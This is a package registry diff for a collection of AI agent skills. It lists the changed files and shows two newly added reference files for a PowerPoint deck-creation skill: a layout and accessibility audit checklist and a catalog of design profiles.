opencode-skills-collection 4.0.0 → 4.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bundled-skills/.antigravity-install-manifest.json +24 -1
- package/bundled-skills/007/SKILL.md +2 -2
- package/bundled-skills/10-andruia-skill-smith/SKILL.md +1 -1
- package/bundled-skills/agent-squad/SKILL.md +5 -0
- package/bundled-skills/agent-squad/alex/SKILL.md +3 -0
- package/bundled-skills/agent-squad/aria/SKILL.md +3 -0
- package/bundled-skills/agent-squad/dep/SKILL.md +3 -0
- package/bundled-skills/agent-squad/luna/SKILL.md +4 -1
- package/bundled-skills/agent-squad/mason/SKILL.md +3 -0
- package/bundled-skills/agent-squad/max/SKILL.md +3 -0
- package/bundled-skills/agent-squad/quinn/SKILL.md +3 -0
- package/bundled-skills/agent-squad/rex/SKILL.md +3 -0
- package/bundled-skills/angular/metadata.json +1 -1
- package/bundled-skills/angular-best-practices/metadata.json +1 -1
- package/bundled-skills/angular-state-management/metadata.json +1 -1
- package/bundled-skills/angular-ui-patterns/metadata.json +1 -1
- package/bundled-skills/antigravity-skill-orchestrator/SKILL.md +2 -2
- package/bundled-skills/apify-actor-development/SKILL.md +2 -2
- package/bundled-skills/apple-container/SKILL.md +165 -0
- package/bundled-skills/apple-container/references/commands.md +1593 -0
- package/bundled-skills/apple-container/references/concepts.md +294 -0
- package/bundled-skills/apple-container/references/configuration.md +499 -0
- package/bundled-skills/apple-container/references/workflows.md +498 -0
- package/bundled-skills/ask-copilot/SKILL.md +112 -0
- package/bundled-skills/auto-research/SKILL.md +126 -0
- package/bundled-skills/brooks-lint/SKILL.md +1 -1
- package/bundled-skills/browser-harness/references/install.md +3 -1
- package/bundled-skills/chrome-extension-developer/SKILL.md +1 -1
- package/bundled-skills/clean-code-guard/SKILL.md +184 -0
- package/bundled-skills/clean-code-guard/references/ai-failure-modes.md +345 -0
- package/bundled-skills/clean-code-guard/references/comments-and-formatting.md +115 -0
- package/bundled-skills/clean-code-guard/references/dry-kiss-yagni.md +133 -0
- package/bundled-skills/clean-code-guard/references/naming-and-functions.md +187 -0
- package/bundled-skills/clean-code-guard/references/review-checklist.md +150 -0
- package/bundled-skills/clean-code-guard/references/solid.md +280 -0
- package/bundled-skills/clean-code-guard/references/sources.md +47 -0
- package/bundled-skills/cloudflare-security-audit/SKILL.md +137 -0
- package/bundled-skills/cloudflare-security-audit/references/AI-AND-LLM.md +67 -0
- package/bundled-skills/cloudflare-security-audit/references/ATTACK-CLASSES.md +116 -0
- package/bundled-skills/cloudflare-security-audit/references/CLIENT-SIDE.md +67 -0
- package/bundled-skills/cloudflare-security-audit/references/HUNTING.md +110 -0
- package/bundled-skills/cloudflare-security-audit/references/MEMORY-SAFETY-AND-BINARY.md +58 -0
- package/bundled-skills/cloudflare-security-audit/references/RECONNAISSANCE.md +46 -0
- package/bundled-skills/cloudflare-security-audit/references/VALIDATION-AND-REPORTING.md +109 -0
- package/bundled-skills/cloudflare-security-audit/references/WEB-PROTOCOL-AND-AUTH.md +85 -0
- package/bundled-skills/cloudflare-security-audit/resources/report-schema.json +210 -0
- package/bundled-skills/comfyui-gateway/references/troubleshooting.md +1 -1
- package/bundled-skills/commit/SKILL.md +2 -1
- package/bundled-skills/deepapi/SKILL.md +6 -6
- package/bundled-skills/docs/README.md +1 -1
- package/bundled-skills/docs/contributors/quality-bar.md +1 -1
- package/bundled-skills/docs/contributors/security-guardrails.md +1 -1
- package/bundled-skills/docs/integrations/jetski-cortex.md +5 -5
- package/bundled-skills/docs/integrations/jetski-gemini-loader/README.md +3 -3
- package/bundled-skills/docs/maintainers/ci-drift-fix.md +7 -5
- package/bundled-skills/docs/maintainers/merge-batch.md +24 -7
- package/bundled-skills/docs/maintainers/pr-autonomy.md +89 -0
- package/bundled-skills/docs/maintainers/release-notes-7.2.0.md +1 -1
- package/bundled-skills/docs/maintainers/release-process.md +9 -9
- package/bundled-skills/docs/maintainers/repo-growth-seo.md +5 -5
- package/bundled-skills/docs/maintainers/skills-date-tracking.md +1 -1
- package/bundled-skills/docs/maintainers/skills-update-guide.md +2 -2
- package/bundled-skills/docs/users/{antigravity-awesome-skills-vs-awesome-claude-skills.md → agentic-awesome-skills-vs-awesome-claude-skills.md} +5 -5
- package/bundled-skills/docs/users/ai-agent-skills.md +4 -4
- package/bundled-skills/docs/users/best-claude-code-skills-github.md +3 -3
- package/bundled-skills/docs/users/best-cursor-skills-github.md +3 -3
- package/bundled-skills/docs/users/bundles.md +56 -57
- package/bundled-skills/docs/users/claude-code-skills.md +6 -6
- package/bundled-skills/docs/users/codex-cli-skills.md +5 -5
- package/bundled-skills/docs/users/cursor-skills.md +3 -3
- package/bundled-skills/docs/users/faq.md +27 -15
- package/bundled-skills/docs/users/gemini-cli-skills.md +4 -4
- package/bundled-skills/docs/users/getting-started.md +22 -12
- package/bundled-skills/docs/users/kiro-integration.md +7 -7
- package/bundled-skills/docs/users/plugins.md +8 -9
- package/bundled-skills/docs/users/security-skills.md +1 -1
- package/bundled-skills/docs/users/skills-vs-mcp-tools.md +1 -1
- package/bundled-skills/docs/users/specialized-plugin-roadmap.md +3 -4
- package/bundled-skills/docs/users/usage.md +9 -9
- package/bundled-skills/docs/users/visual-guide.md +7 -7
- package/bundled-skills/docs/users/windows-truncation-recovery.md +1 -1
- package/bundled-skills/docs/users/workflows.md +1 -1
- package/bundled-skills/docs/vietnamese/BUNDLES.vi.md +1 -1
- package/bundled-skills/docs/vietnamese/FAQ.vi.md +15 -8
- package/bundled-skills/docs/vietnamese/GETTING_STARTED.vi.md +12 -5
- package/bundled-skills/docs/vietnamese/QUALITY_BAR.vi.md +1 -1
- package/bundled-skills/docs/vietnamese/README.vi.md +21 -17
- package/bundled-skills/docs/vietnamese/SECURITY_GUARDRAILS.vi.md +1 -1
- package/bundled-skills/docs/vietnamese/SKILLS_README.vi.md +2 -2
- package/bundled-skills/docs/vietnamese/TRANSLATION_PLAN.vi.md +1 -1
- package/bundled-skills/docs/vietnamese/VISUAL_GUIDE.vi.md +8 -8
- package/bundled-skills/docs-guard/SKILL.md +109 -0
- package/bundled-skills/docs-guard/references/code-samples.md +46 -0
- package/bundled-skills/docs-guard/references/docstrings.md +60 -0
- package/bundled-skills/docs-guard/references/review-checklist.md +45 -0
- package/bundled-skills/docs-guard/references/sources.md +22 -0
- package/bundled-skills/docs-guard/references/verification.md +51 -0
- package/bundled-skills/efficient-web-research/SKILL.md +4 -0
- package/bundled-skills/electron-development/SKILL.md +1 -1
- package/bundled-skills/event-staffing-compliance/SKILL.md +3 -0
- package/bundled-skills/event-staffing-ordering/SKILL.md +3 -0
- package/bundled-skills/feature-tracking/SKILL.md +222 -0
- package/bundled-skills/flutter-expert/SKILL.md +6 -1
- package/bundled-skills/flutter-expert/resources/implementation-playbook.md +214 -0
- package/bundled-skills/gemini-deep-research/README.md +246 -0
- package/bundled-skills/gemini-deep-research/SKILL.md +136 -0
- package/bundled-skills/gemini-deep-research/requirements.txt +2 -0
- package/bundled-skills/gemini-deep-research/scripts/research.py +692 -0
- package/bundled-skills/git-pushing/SKILL.md +21 -4
- package/bundled-skills/git-pushing/scripts/smart_commit.sh +206 -11
- package/bundled-skills/go-in-depth/scripts/workflow-script.js +4 -1
- package/bundled-skills/grok-build/SKILL.md +167 -0
- package/bundled-skills/grok-build/references/cli.md +99 -0
- package/bundled-skills/huggingface-tool-builder/references/find_models_by_paper.sh +1 -1
- package/bundled-skills/idea-autopsy/SKILL.md +147 -0
- package/bundled-skills/it-manager-hospital/README.md +1 -1
- package/bundled-skills/it-manager-pro/README.md +1 -1
- package/bundled-skills/itil-expert/README.md +1 -1
- package/bundled-skills/langgraph/SKILL.md +1 -1
- package/bundled-skills/linkedin-content-generator/SKILL.md +1 -1
- package/bundled-skills/lint-and-validate/scripts/lint_runner.py +23 -23
- package/bundled-skills/lint-and-validate/scripts/type_coverage.py +30 -30
- package/bundled-skills/logic-lens/SKILL.md +1 -1
- package/bundled-skills/lore/LICENSE +21 -0
- package/bundled-skills/lore/README.md +386 -0
- package/bundled-skills/lore/README.zh-CN.md +386 -0
- package/bundled-skills/lore/SKILL.md +453 -0
- package/bundled-skills/lore/WORKFLOWS.md +216 -0
- package/bundled-skills/lore/WORKFLOWS.zh-CN.md +216 -0
- package/bundled-skills/lore/references/audit-template.md +60 -0
- package/bundled-skills/lore/references/compatibility.md +228 -0
- package/bundled-skills/lore/references/config.md +125 -0
- package/bundled-skills/lore/references/entry-format.md +70 -0
- package/bundled-skills/lore/references/history-command.md +106 -0
- package/bundled-skills/lore/references/monorepo-detection.md +78 -0
- package/bundled-skills/lore/references/platform-mirrors.md +377 -0
- package/bundled-skills/lore/references/stale-new-markers.md +62 -0
- package/bundled-skills/lore/references/summary-template.md +98 -0
- package/bundled-skills/lore/scripts/README.md +54 -0
- package/bundled-skills/lore/scripts/README.zh-CN.md +54 -0
- package/bundled-skills/lore/scripts/find_duplicates.py +211 -0
- package/bundled-skills/lore/scripts/find_stale.py +116 -0
- package/bundled-skills/lore/scripts/history.py +527 -0
- package/bundled-skills/lore/scripts/id_hash.py +32 -0
- package/bundled-skills/lore/scripts/list_entries.py +183 -0
- package/bundled-skills/lovable-cleanup/SKILL.md +3 -3
- package/bundled-skills/makepad-splash/SKILL.md +1 -1
- package/bundled-skills/mmx-cli/SKILL.md +14 -1
- package/bundled-skills/monopoly/SKILL.md +5 -0
- package/bundled-skills/monopoly/patterns/SKILL.md +4 -0
- package/bundled-skills/monopoly/scale-benchmarks/SKILL.md +4 -0
- package/bundled-skills/monopoly/security-checklist/SKILL.md +4 -0
- package/bundled-skills/monopoly/tech-matrix/SKILL.md +4 -0
- package/bundled-skills/mtls-configuration/SKILL.md +1 -1
- package/bundled-skills/network-101/SKILL.md +4 -5
- package/bundled-skills/nika/SKILL.md +270 -0
- package/bundled-skills/not-a-vibe-coder/SKILL.md +4 -0
- package/bundled-skills/ontoly-software-graph/SKILL.md +160 -0
- package/bundled-skills/openclaw-github-repo-commander/SKILL.md +1 -1
- package/bundled-skills/pilot-protocol/SKILL.md +6 -3
- package/bundled-skills/postgres-readonly-queries/README.md +77 -0
- package/bundled-skills/postgres-readonly-queries/SKILL.md +152 -0
- package/bundled-skills/postgres-readonly-queries/connections.example.json +34 -0
- package/bundled-skills/postgres-readonly-queries/requirements.txt +1 -0
- package/bundled-skills/postgres-readonly-queries/scripts/query.py +262 -0
- package/bundled-skills/pptx-deck-creation/SKILL.md +275 -0
- package/bundled-skills/pptx-deck-creation/references/audit-checklist.md +156 -0
- package/bundled-skills/pptx-deck-creation/references/design-profiles.md +96 -0
- package/bundled-skills/pptx-deck-creation/references/python-snippets.md +150 -0
- package/bundled-skills/pptx-deck-creation/references/reference-deck-analysis.md +91 -0
- package/bundled-skills/pptx-deck-creation/references/visual-asset-adapters.md +158 -0
- package/bundled-skills/privilege-escalation-methods/SKILL.md +1 -1
- package/bundled-skills/product-decision-agent/SKILL.md +94 -0
- package/bundled-skills/product-decision-agent/agents/openai.yaml +7 -0
- package/bundled-skills/product-decision-agent/references/methodology-basis.md +232 -0
- package/bundled-skills/product-decision-agent/references/product-playbooks.md +813 -0
- package/bundled-skills/product-decision-agent/references/reasoning-engine.md +289 -0
- package/bundled-skills/product-decision-agent/references/response-examples.md +279 -0
- package/bundled-skills/product-decision-agent/scripts/quality_gate.py +221 -0
- package/bundled-skills/product-decision-agent/scripts/test_quality_gate.py +94 -0
- package/bundled-skills/pytest-skill/reference/playbook.md +358 -0
- package/bundled-skills/quit-sponsor/SKILL.md +96 -0
- package/bundled-skills/rclone-cli/references/providers/s3.md +1 -1
- package/bundled-skills/security-and-hardening/SKILL.md +1 -1
- package/bundled-skills/semgrep-rule-creator/SKILL.md +6 -6
- package/bundled-skills/skill-creator/README.md +3 -3
- package/bundled-skills/skill-creator/SKILL.md +8 -4
- package/bundled-skills/skill-creator/scripts/quick_validate.py +1 -1
- package/bundled-skills/sql-injection-testing/SKILL.md +4 -4
- package/bundled-skills/subagent-orchestrator/README.md +1 -1
- package/bundled-skills/super-code/bash/SKILL.md +3 -0
- package/bundled-skills/super-code/c/SKILL.md +3 -0
- package/bundled-skills/super-code/cpp/SKILL.md +3 -0
- package/bundled-skills/super-code/csharp/SKILL.md +3 -0
- package/bundled-skills/super-code/dart/SKILL.md +3 -0
- package/bundled-skills/super-code/elixir/SKILL.md +3 -0
- package/bundled-skills/super-code/go/SKILL.md +3 -0
- package/bundled-skills/super-code/java/SKILL.md +3 -0
- package/bundled-skills/super-code/kotlin/SKILL.md +3 -0
- package/bundled-skills/super-code/php/SKILL.md +3 -0
- package/bundled-skills/super-code/python/SKILL.md +3 -0
- package/bundled-skills/super-code/ruby/SKILL.md +3 -0
- package/bundled-skills/super-code/rust/SKILL.md +3 -0
- package/bundled-skills/super-code/scala/SKILL.md +3 -0
- package/bundled-skills/super-code/swift/SKILL.md +3 -0
- package/bundled-skills/super-code/typescript/SKILL.md +3 -0
- package/bundled-skills/telegram-bot-messaging/README.md +185 -0
- package/bundled-skills/telegram-bot-messaging/SKILL.md +101 -0
- package/bundled-skills/telegram-bot-messaging/scripts/telegram.sh +420 -0
- package/bundled-skills/test-guard/SKILL.md +132 -0
- package/bundled-skills/test-guard/references/jest.md +50 -0
- package/bundled-skills/test-guard/references/llm-app-testing.md +40 -0
- package/bundled-skills/test-guard/references/phpunit.md +56 -0
- package/bundled-skills/test-guard/references/pytest.md +65 -0
- package/bundled-skills/trading-ledger/SKILL.md +11 -3
- package/bundled-skills/uizze-ui-research/SKILL.md +93 -0
- package/bundled-skills/vibe-code-auditor/SKILL.md +1 -1
- package/bundled-skills/vibecode-production-qa-validator/SKILL.md +1 -1
- package/bundled-skills/videodb/scripts/ws_listener.py +29 -15
- package/bundled-skills/voice-ai-engine-development/README.md +1 -1
- package/bundled-skills/vulnerability-scanner/SKILL.md +1 -1
- package/bundled-skills/warehouse/SKILL.md +154 -0
- package/bundled-skills/woo-guard/SKILL.md +113 -0
- package/bundled-skills/woo-guard/references/checkout-and-money.md +64 -0
- package/bundled-skills/woo-guard/references/hpos-and-crud.md +87 -0
- package/bundled-skills/woo-guard/references/review-checklist.md +44 -0
- package/bundled-skills/woo-guard/references/sources.md +17 -0
- package/bundled-skills/wp-guard/SKILL.md +119 -0
- package/bundled-skills/wp-guard/references/i18n.md +88 -0
- package/bundled-skills/wp-guard/references/performance.md +70 -0
- package/bundled-skills/wp-guard/references/review-checklist.md +57 -0
- package/bundled-skills/wp-guard/references/security.md +100 -0
- package/bundled-skills/wp-guard/references/sources.md +27 -0
- package/bundled-skills/writing-skills/gotchas.md +1 -1
- package/bundled-skills/writing-skills/references/standards/metadata-standard.md +1 -1
- package/bundled-skills/x-twitter-scraper/SKILL.md +14 -32
- package/bundled-skills/xss-html-injection/SKILL.md +3 -3
- package/bundled-skills/youtube-seo-optimizer/SKILL.md +1 -1
- package/bundled-skills/youtube-summarizer/CHANGELOG.md +2 -2
- package/package.json +1 -1
- package/skills_index.json +273 -0
|
@@ -0,0 +1,156 @@
|
|
|
1
|
+
# PPTX Manual Audit Checklist
|
|
2
|
+
|
|
3
|
+
Apply the specification checks before building. Reopen the PPTX for the final
|
|
4
|
+
geometry, accessibility, package, and rendered-preview checks.
|
|
5
|
+
|
|
6
|
+
## 1. Content Collisions
|
|
7
|
+
|
|
8
|
+
For every slide, inspect all `layout_tree` objects. Two `classification: "content"` objects collide when their bounding boxes overlap:
|
|
9
|
+
|
|
10
|
+
```
|
|
11
|
+
A.x < B.x + B.w AND B.x < A.x + A.w
|
|
12
|
+
A.y < B.y + B.h AND B.y < A.y + A.h
|
|
13
|
+
```
|
|
14
|
+
|
|
15
|
+
- **Pass:** zero overlapping content objects per slide.
|
|
16
|
+
- **Fail:** any overlap → move objects, resize bboxes, reduce content density, or split the slide.
|
|
17
|
+
|
|
18
|
+
## 2. Text Overflows
|
|
19
|
+
|
|
20
|
+
For each text object estimate whether its text fits within its bbox.
|
|
21
|
+
|
|
22
|
+
Rough capacity (Latin):
|
|
23
|
+
- Characters per line ≈ `(bbox.w × 72) / (font_size × 0.5)`, using `0.5 em` as an average Latin glyph-width factor
|
|
24
|
+
- Lines available ≈ `(bbox.h × 72) / (font_size × 1.2)`
|
|
25
|
+
_(bbox in inches, font_size in pt)_
|
|
26
|
+
|
|
27
|
+
Adjustments:
|
|
28
|
+
- **CJK / full-width text:** use a glyph-width factor near `1.0 em` instead of `0.5 em`. The extractor reports `non_ascii_text` — use it to flag CJK-heavy slides.
|
|
29
|
+
- **Text on a shape/card:** subtract ≈0.1 in of inner padding from each side of the shape before computing capacity; the text occupies the inset inner area, not the full shape.
|
|
30
|
+
|
|
31
|
+
- **Pass:** estimated text volume ≤ available capacity.
|
|
32
|
+
- **Warning:** likely overflow → inspect the generated PPTX or rendered preview, then shorten bullets, enlarge the bbox, or split the slide when clipping is confirmed. This estimate is a triage heuristic, not a deterministic failure by itself.
|
|
33
|
+
**Never set `font_size` below 9 pt for `classification: "content"` objects.**
|
|
34
|
+
|
|
35
|
+
## 3. Font Size Minimums
|
|
36
|
+
|
|
37
|
+
Scan every object with `classification: "content"`. Check `style.font_size`.
|
|
38
|
+
|
|
39
|
+
- **Pass:** all content objects ≥ 9 pt.
|
|
40
|
+
- **Fail:** any content object < 9 pt → increase font size and split content if needed.
|
|
41
|
+
|
|
42
|
+
## 4. Design Context Presence
|
|
43
|
+
|
|
44
|
+
Inspect `summary.design_context` in the spec root.
|
|
45
|
+
|
|
46
|
+
- **Pass:** field present and contains `profile_id`, source URL, and license ID.
|
|
47
|
+
- **Fail — any of the following:**
|
|
48
|
+
- `summary.design_context` absent -> load a design profile from [design-profiles.md](design-profiles.md) and rebuild.
|
|
49
|
+
- Plain white backgrounds throughout with no accent elements.
|
|
50
|
+
- Calibri-only text with default theme colors across all slides.
|
|
51
|
+
- All slides are title-plus-bullets only (no cards, shapes, rules, or image treatments).
|
|
52
|
+
|
|
53
|
+
## 5. Visual Design Per Slide
|
|
54
|
+
|
|
55
|
+
For each normal content slide (exclude section headers and hidden appendix slides):
|
|
56
|
+
|
|
57
|
+
- **Pass:** at least one style-derived visual element present — accent band, card shell, grid cell, rule/divider, shape motif, image treatment, or background pattern.
|
|
58
|
+
- **Fail:** slide is plain white with only text objects → add a design element derived from the selected profile's `source_signals`.
|
|
59
|
+
|
|
60
|
+
## 6. Narrative and Count
|
|
61
|
+
|
|
62
|
+
- Slide count is within ±2 of the user's requested count.
|
|
63
|
+
- Topic sequence matches the requested business framework (McKinsey, SCQA, pyramid, etc.) or the user's stated structure.
|
|
64
|
+
- For action-title frameworks (e.g., `action-title`, McKinsey): every content slide has an **action title** (not a descriptive label). Run the ghost-deck test: read only slide titles — they must tell the full story on their own.
|
|
65
|
+
|
|
66
|
+
## 7. Hidden Slides
|
|
67
|
+
|
|
68
|
+
If the deck contains hidden slides (`hidden: true`):
|
|
69
|
+
|
|
70
|
+
- **Pass:** hidden slides are last in the `slides` array unless the user specified otherwise.
|
|
71
|
+
- In the rendered PPTX, confirm `ppt/presentation.xml` contains `p:sldId show="0"` on the correct entries.
|
|
72
|
+
|
|
73
|
+
## 8. Asset Layering
|
|
74
|
+
|
|
75
|
+
For slides mixing image/SVG objects with text:
|
|
76
|
+
|
|
77
|
+
- **Pass:** image/SVG `z_index` is lower than all overlapping text objects.
|
|
78
|
+
- **Fail:** image covers text → lower `z_index`, adjust bbox, or reclassify as `classification: "layout_design"`.
|
|
79
|
+
- A visible slide must not rely on one raster or SVG as its complete content. Recreate essential titles, labels, metrics, chart values, and process steps with native editable objects. Keep the original raster or SVG only as a supporting visual or hidden reference.
|
|
80
|
+
- **Image aspect ratio:** the object `bbox` aspect should match the image's native aspect (fit or crop-to-fill); a mismatched bbox stretches the image. Keep captions in adjacent space, not overlaid on the image.
|
|
81
|
+
|
|
82
|
+
## 9. Slide Bounds & Safe Margins
|
|
83
|
+
|
|
84
|
+
For every slide, check each object against the slide rectangle (0,0)–(`slide_size.width`, `slide_size.height`):
|
|
85
|
+
|
|
86
|
+
- **Pass:** every `classification: "content"` object lies fully inside the slide and inside the content-safe margin (default 0.5 in per edge).
|
|
87
|
+
- **Fail:** an object extends off-slide or into the margin → move or resize it inside. Only `classification: "layout_design"` full-bleed bands may touch or cross an edge.
|
|
88
|
+
|
|
89
|
+
## 10. Containment
|
|
90
|
+
|
|
91
|
+
- **Pass:** every child object and child group fits inside its parent group `bbox`; on-shape text fits inside the shape minus ≈0.1 in inner padding.
|
|
92
|
+
- **Fail:** a child spills out of its group, or card text spills past the card padding → resize the child or the parent, or split content.
|
|
93
|
+
|
|
94
|
+
## 11. Table Fit
|
|
95
|
+
|
|
96
|
+
For every `kind: "table"` object:
|
|
97
|
+
|
|
98
|
+
- **Pass:** column widths sum to the table `bbox.width`, each cell's wrapped text fits its row height at the cell font size, and row count is within the per-slide budget (≈8–10 body rows at 10–11 pt).
|
|
99
|
+
- **Fail:** columns overflow the table width, cells clip, or the table is too tall → rebalance columns, raise row height, or split the table across slides (repeat the header).
|
|
100
|
+
|
|
101
|
+
## 12. Native Editable Content
|
|
102
|
+
|
|
103
|
+
For every visible slide, inspect the objects that carry the message.
|
|
104
|
+
|
|
105
|
+
- **Pass:** titles, body text, metrics, labels, tables, charts, and process steps
|
|
106
|
+
are native editable PowerPoint objects. Images are supporting visuals only.
|
|
107
|
+
- **Fail:** a single raster or SVG contains the only meaningful text, data,
|
|
108
|
+
explanation, chart values, or diagram labels → recreate that information with
|
|
109
|
+
editable text, shapes, lines, and tables.
|
|
110
|
+
|
|
111
|
+
## 13. Post-Build Checks
|
|
112
|
+
|
|
113
|
+
Reopen the generated PPTX and inspect the actual artifact.
|
|
114
|
+
|
|
115
|
+
- **Geometry:** confirm the slide count, actual object bounds, safe margins,
|
|
116
|
+
footer rail, group containment, image placement, and hidden-slide state match
|
|
117
|
+
the specification. Record failures in the geometry audit.
|
|
118
|
+
- **Accessibility:** confirm document language, unique accessible slide titles,
|
|
119
|
+
meaningful image alt text, reading order, and table headers. Record failures
|
|
120
|
+
in the accessibility audit.
|
|
121
|
+
- **Rendered preview:** when a compatible renderer is available, inspect each
|
|
122
|
+
slide for clipping, font fallback, contrast, image crops, and visual hierarchy.
|
|
123
|
+
Record the renderer and the review result.
|
|
124
|
+
|
|
125
|
+
## 14. Production Metadata and Source Lineage
|
|
126
|
+
|
|
127
|
+
Inspect the summary and the objects that make factual claims.
|
|
128
|
+
|
|
129
|
+
- **Layout policy:** `summary.layout_policy` names the safe margin, content
|
|
130
|
+
bottom, footer top, and minimum gap. Confirm `content_bottom` is lower than
|
|
131
|
+
`footer_top` and that content stays above the footer rail.
|
|
132
|
+
- **Accessibility metadata:** `summary.accessibility` contains a document
|
|
133
|
+
language and presentation title. Each production slide supplies a reading
|
|
134
|
+
order for its meaningful objects.
|
|
135
|
+
- **Source lineage:** each sourced metric, chart value, quotation, or factual
|
|
136
|
+
claim has a `source_ref` containing a source ID, locator, claim type, and
|
|
137
|
+
verification status. Confirm the source ID appears in the sources manifest.
|
|
138
|
+
- **Build record:** the build manifest records the builder path, input spec,
|
|
139
|
+
output PPTX, slide count, time, and warnings.
|
|
140
|
+
|
|
141
|
+
## 15. Positive Geometry
|
|
142
|
+
|
|
143
|
+
Before and after build, inspect every object bbox and line endpoint.
|
|
144
|
+
|
|
145
|
+
- **Pass:** every non-line object has positive width and height. A line has two
|
|
146
|
+
distinct endpoints (`x1 != x2` or `y1 != y2`); horizontal and vertical lines
|
|
147
|
+
may legitimately have a zero-height or zero-width bounding box.
|
|
148
|
+
- **Fail:** a non-line object has a zero or negative dimension, or a line has
|
|
149
|
+
identical endpoints. Correct the source geometry before rebuild.
|
|
150
|
+
|
|
151
|
+
## Completion Criterion
|
|
152
|
+
|
|
153
|
+
All 15 checks pass before delivery, or each exception is documented with its
|
|
154
|
+
slide ID, object ID, reason, owner, and review date. Any failure triggers the
|
|
155
|
+
repair loop in Step 6 of the parent `pptx-deck-creation` skill: fix the spec,
|
|
156
|
+
rebuild, and re-audit.
|
|
@@ -0,0 +1,96 @@
|
|
|
1
|
+
# PPTX Design Profile Catalog
|
|
2
|
+
|
|
3
|
+
**This is the bundled reference for design profiles.** Use it for all new decks. Design context is built-in and always available.
|
|
4
|
+
|
|
5
|
+
## Quick-Select Guide
|
|
6
|
+
|
|
7
|
+
| Profile ID | Best for |
|
|
8
|
+
|---|---|
|
|
9
|
+
| `fluent-ui-design-tokens` | Microsoft, M365, Teams, Power Platform, enterprise — **default for new decks** |
|
|
10
|
+
| `getdesign-md-design-systems` | **Live fetch** — brand-accurate DESIGN.md analyses (Apple, Stripe, Linear, Notion, …) from getdesign.md when matching a real product's look |
|
|
11
|
+
| `corazzon-pptx-design-styles` | 30 modern style catalog; use when visual variety or multiple direction options are needed |
|
|
12
|
+
| `primer-primitives` | GitHub-style, developer products, token-driven UI reviews, engineering docs |
|
|
13
|
+
|
|
14
|
+
## Profiles
|
|
15
|
+
|
|
16
|
+
### `fluent-ui-design-tokens`
|
|
17
|
+
**Name:** Fluent UI Design Token Guidance
|
|
18
|
+
**Kind:** design-system-context
|
|
19
|
+
**License:** MIT — Copyright (c) Microsoft Corporation
|
|
20
|
+
**Source:** [microsoft/fluentui](https://github.com/microsoft/fluentui/blob/master/docs/architecture/design-tokens.md)
|
|
21
|
+
**Token categories:** color, spacing, border radius, font, line height, stroke, shadow, duration, easing
|
|
22
|
+
**Themes:** webLightTheme, webDarkTheme, teamsLightTheme, teamsDarkTheme, teamsHighContrastTheme
|
|
23
|
+
**Agent rule:** Use design tokens instead of hardcoded colors, spacing, or typography values.
|
|
24
|
+
**Best for:** Microsoft-aligned decks, Teams, M365, Power Platform governance, enterprise product reviews
|
|
25
|
+
|
|
26
|
+
---
|
|
27
|
+
|
|
28
|
+
### `getdesign-md-design-systems`
|
|
29
|
+
**Name:** getdesign.md — Production-grade DESIGN.md Brand Analyses (Live Fetch)
|
|
30
|
+
**Kind:** live-design-reference-context
|
|
31
|
+
**License:** Per-entry; independent analyses published by VoltAgent. Reference/inspiration only — **not** official, not affiliated with or endorsed by the brands, and not redistributable assets. All trademarks belong to their owners.
|
|
32
|
+
**Source:** [getdesign.md](https://getdesign.md/) · catalog: [getdesign.md/design-md](https://getdesign.md/design-md) · spec basis: Google Stitch's DESIGN.md · awesome list: [VoltAgent/awesome-design-md](https://github.com/VoltAgent/awesome-design-md)
|
|
33
|
+
**Catalog size:** 300+ brand/product DESIGN.md analyses (e.g., Apple, Stripe, Linear, Notion, Vercel, Figma, Airbnb, Spotify, Tesla, IBM/Carbon, NVIDIA)
|
|
34
|
+
|
|
35
|
+
**What getdesign.md is:** A browsable frontend for the open-source `awesome-design-md` collection. Each catalog entry is a single `DESIGN.md` file — a structured Markdown document (the format introduced by Google Stitch) that captures the *publicly observable* design language of a real website so a coding agent can use it as reference while building original UI. They are analyses of patterns, not pixel-exact reproductions of the source sites.
|
|
36
|
+
|
|
37
|
+
**Anatomy of a DESIGN.md entry** (consistent section taxonomy across the catalog):
|
|
38
|
+
- **01 — Colors:** Core palette as named tokens with hex + role (e.g., `Primary #533afd`, `Ink #0d253d`, `Canvas #ffffff`, `Canvas Alt`, `Hairline`, `Muted`, `Accent`), plus an extended brand/accent and gradient-stop set.
|
|
39
|
+
- **02 — Typography:** A type scale split into display and body tiers; each token lists size / weight / line-height / letter-spacing and its role (e.g., `display-xxl 56px/300/1.12/-1.4px`, `body-md 16/400/1.55`, `micro-cap 12/700` eyebrow).
|
|
40
|
+
- **03–05 — Components:** Button variants (primary/secondary/outline/on-dark), card examples (incl. inverted/featured tiers), and form-element conventions (input borders, focus treatment).
|
|
41
|
+
- **06–08 — Foundations:** Spacing scale (typically an 8px base with sub-units), border-radius scale (input → pill `9999px`), and elevation/shadow stacks (L0 flat → L3 toast).
|
|
42
|
+
- **09 — Responsive:** Breakpoint stair (mobile/tablet/desktop/wide), touch-target minimums (≥44×44px), and collapsing strategy.
|
|
43
|
+
- Plus a short prose intro describing the brand's "signature" (mood, motifs, hero treatment) and an Additional Links/preview block.
|
|
44
|
+
|
|
45
|
+
**How users consume it (outside this skill):** The getdesign package offers an `add {slug}` action that drops the file into a project, or users can choose "Download DESIGN.md"; some entries also offer a full website starter kit at `…/design-md/kit`. Inside this skill, treat the page as a *read-only reference* — fetch and extract signals; do not run the installer.
|
|
46
|
+
|
|
47
|
+
**Fetch contract:** Each entry is reachable at `https://getdesign.md/{slug}/design-md` (e.g., `https://getdesign.md/stripe/design-md`, `https://getdesign.md/linear.app/design-md`). Some slugs include the TLD (`linear.app`, `mistral.ai`, `x.ai`, `opencode.ai`). Browse `https://getdesign.md/design-md` to resolve the correct `{slug}`.
|
|
48
|
+
**Agent rule:** Use this profile only when the user asks for a deck that should match a specific real-world brand or product aesthetic. Fetch the matching DESIGN.md entry, extract the color tokens, type scale, spacing/radius/elevation foundations, and signature motifs, then lock them in `summary.design_context`. Translate signals into explicit `layout_tree` primitives — do not embed scraped images, screenshots, or copy proprietary brand assets/logos. Record the entry URL and the "independent analysis, not affiliated" disclaimer as the design source. If the fetch fails or no slug matches, fall back to a bundled profile and note the fallback.
|
|
49
|
+
**Best for:** Decks that must visually echo a known product or company; brand-accurate palette/typography/foundation sourcing without maintaining a local copy
|
|
50
|
+
|
|
51
|
+
---
|
|
52
|
+
|
|
53
|
+
### `corazzon-pptx-design-styles`
|
|
54
|
+
**Name:** corazzon/pptx-design-styles — 30 Modern PPTX Style Templates
|
|
55
|
+
**Kind:** pptx-style-template-context
|
|
56
|
+
**License:** MIT — Copyright TodayCode / corazzon contributors
|
|
57
|
+
